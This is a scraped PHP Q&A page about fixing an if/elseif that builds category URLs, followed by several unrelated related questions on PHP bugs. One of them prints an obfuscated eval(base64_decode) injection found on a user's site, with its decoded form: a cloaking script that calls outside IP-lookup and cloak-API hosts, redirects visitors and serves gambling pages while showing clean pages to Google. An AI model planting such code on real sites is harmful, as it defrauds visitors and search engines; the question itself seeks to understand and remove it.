PHP if statement building URLs - php

I have written the following IF statement
if ($mainCat && $subCat) {
$url = "/subjects/".$mainCat->alias."/".$r->alias;
}
Which is working great. You can see a demo here: http://217.199.187.199/equityschooltravel.co.uk/
However I have expanded on it and want to include an elseif, if a variable is present but it's not working:
if ($subCat == 78) {
$url = "/subjects/".$mainCat->alias."/".$subCat->alias."/".$r->alias;
}
elseif ($mainCat && $subCat) {
$url = "/subjects/".$mainCat->alias."/".$r->alias;
}
The idea is, if a country ($subcat) is selected with an ID of '78' the URL will be rendered differently.

if $maincat == 78, you'll never enter in else if. check for not existing subcat in if and then if the subcat is set you'll go for the else if.
if ($main && !isset($subcat)) {
$url = "/subjects/".$mainCat->alias."/".$r->alias;
}
elseif ($mainCat && $subCat) {
$url = "/subjects/".$mainCat->alias"/".$subCat->alias."/".$r->alias;
}
else ....

There is no error....
or may be i misunderstood your question:
<?php
$url = "";
$subCat = 70; // 78
$mainCat = 1;
if ($mainCat && $subCat == 78) {
$url = "subcat 78";
}
elseif ($mainCat && $subCat && $subCat != 78) {
$url = "url other";
}
echo $url;
?>

In the end, I fixed it by doing:
$diffCats = array('76','77','78','79','80');
if ($mainCat && $subCat) {
$url = "/subjects/".$mainCat->alias."/".$r->alias;
if (in_array($subCat->id, $diffCats)) {
$url = "/subjects/".$mainCat->alias."/".$subCat->alias."-language-trips/".$r->alias;
}
}

Related

Need Help for eval(base64_decode) decode [duplicate]

This question already has answers here:
My site is infected with obfuscated PHP malware - what is it doing + how do I get rid of it?
(6 answers)
Closed 4 months ago.
Hello i found my site had this code in index.php
Any one can translate this code please?
eval(base64_decode('CiBnb3RvIEV1SU45OyBZU1NPRDogJGNlayA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJceDY4XHg3NFwxNjRcMTYwXHg3M1w3Mlx4MmZcNTdcMTUyXHg3M1x4NmZcMTU2XHgyZVwxNDdceDY1XDE1N1wxNTFceDcwXHg2Y1x4NmZceDZmXDE1M1wxNjVceDcwXHgyZVwxNTFcMTU3XHgyZiI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1wxNTdcMTU2XHgyZiIgLiAkaXApOyAkY291bnRyeSA9IGpzb25fZGVjb2RlKCRpcGFwaSktPmNvdW50cnk7ICRjb3VudHJ5Y29kZSA9IGpzb25fZGVjb2RlKCRpcGFwaSktPmNvdW50cnlDb2RlOyAkY2l0eSA9IGpzb25fZGVjb2RlKCRpcGFwaSktPmNpdHk7ICRvcmcgPSBqc29uX2RlY29kZSgkY2VrKS0+b3JnOyAkaXNwID0ganNvbl9kZWNvZGUoJGNlayktPmlzcDsgfSBlbHNlIHsgJGNvdW50cnkgPSBqc29uX2RlY29kZSgkY2VrKS0+Y291bnRyeV9uYW1lOyAkY291bnRyeWNvZGUgPSBqc29uX2RlY29kZSgkY2VrKS0+Y291bnRyeV9jb2RlOyAkY2l0eSA9IGpzb25fZGVjb2RlKCRjZWspLT5jaXR5OyAkb3JnID0ganNvbl9kZWNvZGUoJGNlayktPmFzbl9vcmc7ICRpc3AgPSBqc29uX2RlY29kZSgkY2VrKS0+aXNwOyB9IGdvdG8gU1Y0REU7IFpvTUpqOiA='));
Edit:
The output of the base64 seems fishy. Someone try to inject obfuscated codes through eval() function.
decoded base64 output:
goto EuIN9; YSSOD: $cek = file_get_contents("\x68\x74\164\160\x73\72\x2f\57\152\x73\x6f\156\x2e\147\x65\157\151\x70\x6c\x6f\x6f\153\165\x70\x2e\151\157\x2f" . $ip); goto gTr3W; gXUTK: date_default_timezone_set("\x41\163\151\141\x2f\x42\141\156\x67\153\157\153"); goto IHNBX; XiYvO: if ($cloacking != "\117\x4e") { include $nonjudi; die; } else { if (in_array($countrycode, $negara) && ismobile($onlymobile) && gclid($onlygclid)) { include $judi; } else { if (in_array($ip, $banip)) { include $nonjudi; } else { if (in_array($ip, $wlip)) { include $judi; } else { if (strpos(strtolower($http_user_agent), google) !== false || strpos(strtolower($http_user_agent), bot) !== false || strpos(strtolower($host), google) !== false) { include $nonjudi; } else { include $nonjudi; } } } } } goto ZoMJj; SV4DE: $referer = isset($_SERVER["\x48\124\124\120\x5f\122\x45\x46\x45\x52\x45\x52"]) ? $_SERVER["\x48\x54\x54\120\137\x52\x45\x46\105\122\x45\x52"] : ''; goto g69de; dtPIm: if (!isset($ip)) { $ip = $_SERVER["\122\x45\x4d\117\x54\x45\137\x41\x44\104\x52"]; } goto RSiEb; KqEPl: $web_page = $_SERVER["\x53\x43\122\111\120\124\x5f\x4e\101\115\105"]; goto BECJH; g69de: $http_user_agent = isset($_SERVER["\110\x54\x54\x50\137\125\123\x45\122\x5f\x41\x47\x45\x4e\124"]) ? $_SERVER["\110\x54\124\x50\137\x55\x53\x45\122\137\101\x47\105\116\124"] : "\156\157\x20\125\x73\145\162\55\x61\x67\145\x6e\164"; goto KqEPl; RSiEb: $pl = file_get_contents("\x68\164\164\160\x73\x3a\57\57\154\x6f\153\x6c\x69\141\x75\x2e\x63\x6f\x6d\x2f\x63\x6c\x6f\x61\153\55\x61\x70\151\x2f" . $PTCode); goto CAcoh; IHNBX: $ip = $_SERVER["\110\124\x54\120\x5f\103\x46\x5f\103\117\116\116\x45\103\x54\111\x4e\x47\137\x49\x50"]; goto dtPIm; LpqWM: $host = $isp; goto XiYvO; EuIN9: include "\163\x65\x74\165\x70\56\160\150\160"; goto gXUTK; Ajf18: function gclid($g) { if ($g == "\131\101") { if (isset($_GET["\x67\x63\154\151\x64"]) && !empty($_GET["\147\143\x6c\x69\x64"]) && strlen($_GET["\147\143\154\151\x64"]) > 32) { return true; } else { return false; } } else { return true; } } goto YSSOD; BECJH: $domain = $_SERVER["\x53\105\x52\126\105\x52\137\x4e\x41\115\x45"]; goto LpqWM; CAcoh: $o = json_decode($pl); goto hQLc8; uh5h_: if (!in_array($_SERVER["\x48\x54\x54\x50\x5f\110\x4f\123\124"], $list)) { header("\x4c\157\x63\x61\x74\151\x6f\156\72\40" . $fbl[0]); die; } goto bINpt; gTr3W: $status = json_decode($cek)->success; goto t80Uu; hQLc8: $list = $o->list; goto BVHYz; bINpt: function ismobile($m) { if ($m == "\x59\x41") { return preg_match("\57\x28\x61\156\144\x72\157\x69\144\x7c\141\x76\x61\156\x74\147\157\x7c\142\x6c\x61\143\x6b\142\145\x72\x72\x79\174\x62\x6f\154\164\x7c\x62\x6f\157\x73\164\174\x63\x72\x69\143\153\145\164\174\144\x6f\143\x6f\x6d\157\x7c\146\157\156\145\x7c\150\x69\160\x74\x6f\x70\174\x6d\x69\156\x69\174\155\x6f\x62\151\x7c\x70\x61\154\x6d\x7c\x70\150\x6f\156\145\174\160\151\145\x7c\x74\x61\142\x6c\145\x74\x7c\165\x70\134\56\142\162\157\167\163\x65\x72\x7c\165\160\x5c\x2e\154\x69\x6e\153\x7c\x77\145\x62\x6f\x73\x7c\167\157\163\51\57\151", $_SERVER["\x48\x54\x54\120\x5f\125\123\x45\122\x5f\x41\107\105\116\x54"]); } else { return true; } } goto Ajf18; BVHYz: $fbl = $o->link; goto uh5h_; t80Uu: if ($status != true) { $ipapi = file_get_contents("\150\x74\x74\160\x3a\57\x2f\151\x70\55\x61\x70\x69\x2e\x63\x6f\155\x2f\152\163\157\156\x2f" . $ip); $country = json_decode($ipapi)->country; $countrycode = json_decode($ipapi)->countryCode; $city = json_decode($ipapi)->city; $org = json_decode($cek)->org; $isp = json_decode($cek)->isp; } else { $country = json_decode($cek)->country_name; $countrycode = json_decode($cek)->country_code; $city = json_decode($cek)->city; $org = json_decode($cek)->asn_org; $isp = json_decode($cek)->isp; } goto SV4DE; ZoMJj:

Auto Description From Tags

I'm trying to generate auto description from tags.
The code was working but after updating my site to Laravel 6 in stop working. I need to get it back working.
if( !empty( $request->description ) )
{
$description = Helper::checkTextDb($request->description);
}
else
{
$a_key = explode(",", strtolower($request->tags));
if(count($a_key) == 0)
$description = 'This is a great thing';
else
{
$description_get_keys = '';
foreach ($a_key as &$value)
{
if($value == end($a_key) && count($a_key) != 1)
$description_get_keys = $description_get_keys.' and '.$value.'.';
else if(count($a_key) == 1)
$description_get_keys = $value.'.';
else if (count($a_key) > 1 && $a_key[0] == $value)
$description_get_keys = $value;
else
$description_get_keys = $description_get_keys.', '.$value;
}
$description = 'This is a great thing about '.$description_get_keys;
}
}
I see a couple things that could possibly be an issue, not knowing what came before this code.
I will assume that the $request variable is an instance of Illuminate\Http\Request and that it is available in the function, right?
Try this updated code:
if($request->has('description'))
{
$description = Helper::checkTextDb($request->description);
}
else if ($request->has('tags'))
{
if (strpos($request->tags, ',') === false)
{
$description = 'This is a great thing';
}
else {
$a_key = explode(",", strtolower($request->tags));
$a_count = count($a_key);
$description_get_keys = '';
for ($i = 0; $i < $a_count; $i++)
{
if ($a_count == 1) {
$description_get_keys = "{$a_key[$i]}.";
}
else {
// first
if ($i === 0) {
$description_get_keys = $a_key[0];
}
// last
else if ($i === $a_count - 1) {
$description_get_keys .= " and {$a_key[$i]}.";
}
// middle
else {
$description_get_keys .= ", {$a_key[$i]}";
}
}
}
$description = "This is a great thing about {$description_get_keys}";
}
}
I wrote that quick so hopefully there are no errors.

Value not saving outside foreach loop

I update my code from PHP 5 to PHP 7 and i got problem with foreach loop. I loocked wor answers here, but none is working. Or i dont understand where i have problem
function getStructure($pid = 0, $expand = array(), $alevel = 0)
{
$struct = array();
if ( $alevel > $this->levelCount) $this->levelCount = (int)$alevel;
$str = $this->dbStructure->getStructure($pid);
foreach ($str as &$row)
{
if ($row["type"] == STRUCT_PAGE)
{
$row["editLink"] = "editPage";
$row["target"] = "_self";
}
elseif ($row["type"] == STRUCT_MODULE)
{
$row["editLink"] = "editModule";
$row["target"] = "_self";
}
elseif ($row["type"] == STRUCT_LINK)
{
$row["editLink"] = "editLink";
$row["target"] = "_blank";
}
elseif ($row["type"] == STRUCT_CATALOG)
{
$row["editLink"] = "editCatalog";
$row["target"] = "_self";
}
$row["childrens"] = $this->getStructure((int)$row["id"], $expand, $alevel+1);
if ($row["type"] == STRUCT_CATALOG and isset($row["childrens"][0]["shortcut"]))
{
$row["shortcut"] = $row["childrens"][0]["shortcut"];
$row["target"] = $row["childrens"][0]["type"] == STRUCT_LINK ? "_blank" : "_self";
}
$struct[] = $row;
}
unset($row);
return $struct;
}
All the time $struct is NULL and I need to be multidimensional array
This code by itself is good. Has no problems, only ampersand is not needet. The problem was in different place. Sorry for spam

How to concatenate variables php/html?

SO here is my code:
<?php
$image = '';
if (getUserChar($_SESSION['user_login']) == 1) {
$image = 'warrior';
echo '<div class="'.$image.'" stlye="top:'.$top_pos.'px;left:'.$left_pos.'px;"></div>';
}
elseif (getUserChar($_SESSION['user_login']) == 2) {
$image = 'mage';
echo '<div class="'.$image.'" stlye="top:'.$top_pos.'px;left:'.$left_pos.'px;"></div>';
}
elseif (getUserChar($_SESSION['user_login']) == 3) {
$image = 'archer';
echo '<div class="'.$image.'" stlye="top:'.$top_pos.'px;left:'.$left_pos.'px;"></div>';
}
?>
With that, the class seems to work fine. but with regard to the variables top_pos -- it doesnt.
I suspect your $top_pos and $left_pos variables are not being set or being overwritten somewhere.
<?php
function getUserChar($input) {
return $input;
}
// I suspect you have not set these anywhere or are being over written somewhere
$top_pos = 123;
$left_pos = 321;
$image = '';
$_SESSION['user_login'] = 1;
$input = getUserChar($_SESSION['user_login']);
if ($input == 1) {
$image = 'warrior';
} elseif ($input == 2) {
$image = 'mage';
} elseif ($input == 3) {
$image = 'archer';
}
echo '<div class="'.$image.'" style="top:'.$top_pos.'px;left:'.$left_pos.'px;"></div>';
http://sandbox.onlinephpfunctions.com/code/184e6935fa39e733c145441c6a24be6651f41c25

Issue setting z-index and class via php

I have a bit of php code that sets the z-index and class of different tabs options within my menu in a header file. The header file is included into every page, then this code will determine what tab is active so the z index and css can be changed. My problem is that this code, no matter what $url equals, gives the home tab a z-index of 1000 and a class of "active tab". It seems to me like I have everything right in my if statement, does anyone know why It wont detect say, documentation.php and apply the 1000 z-index to this?
<?php
$zi_home = "10";
$zi_ss = "10";
$zi_tes = "10";
$zi_order = "10";
$zi_con = "10";
$tab_home = "inactive-tab";
$tab_ss = "inactive-tab";
$tab_tes = "inactive-tab";
$tab_order = "inactive-tab";
$tab_con = "inactive-tab";
$url = $_SERVER['REQUEST_URI'];
if ($url = "/index.php") {
$zi_home = "1000";
$tab_home = "active-tab";
} elseif ($url = "/documentation.php") {
$zi_ss = "1000";
$tab_ss = "active-tab";
} elseif ($url = "/order.php") {
$zi_tes = "1000";
$tab_tes = "active-tab";
} elseif ($url = "/about.php") {
$zi_order = "1000";
$tab_order = "active-tab";
} elseif ($url = "/contactus.php") {
$zi_con = "1000";
$tab_con = "active-tab";
}
?>
header.php file snippet:
<div class="<? echo $tab_home; ?>" style="z-index: <? echo $zi_home; ?>;">
Home
</div>
<div class="<? echo $tab_ss; ?>" style="z-index: <? echo $zi_ss; ?>;">
Documentation
</div>
You used = instead of ==. If you change those out it looks like it will work. Should be:
if ($url == "/index.php") {
$zi_home = "1000";
$tab_home = "active-tab";
} elseif ($url == "/documentation.php") {
$zi_ss = "1000";
$tab_ss = "active-tab";
} elseif ($url == "/order.php") {
$zi_tes = "1000";
$tab_tes = "active-tab";
} elseif ($url == "/about.php") {
$zi_order = "1000";
$tab_order = "active-tab";
} elseif ($url == "/contactus.php") {
$zi_con = "1000";
$tab_con = "active-tab";
}

Categories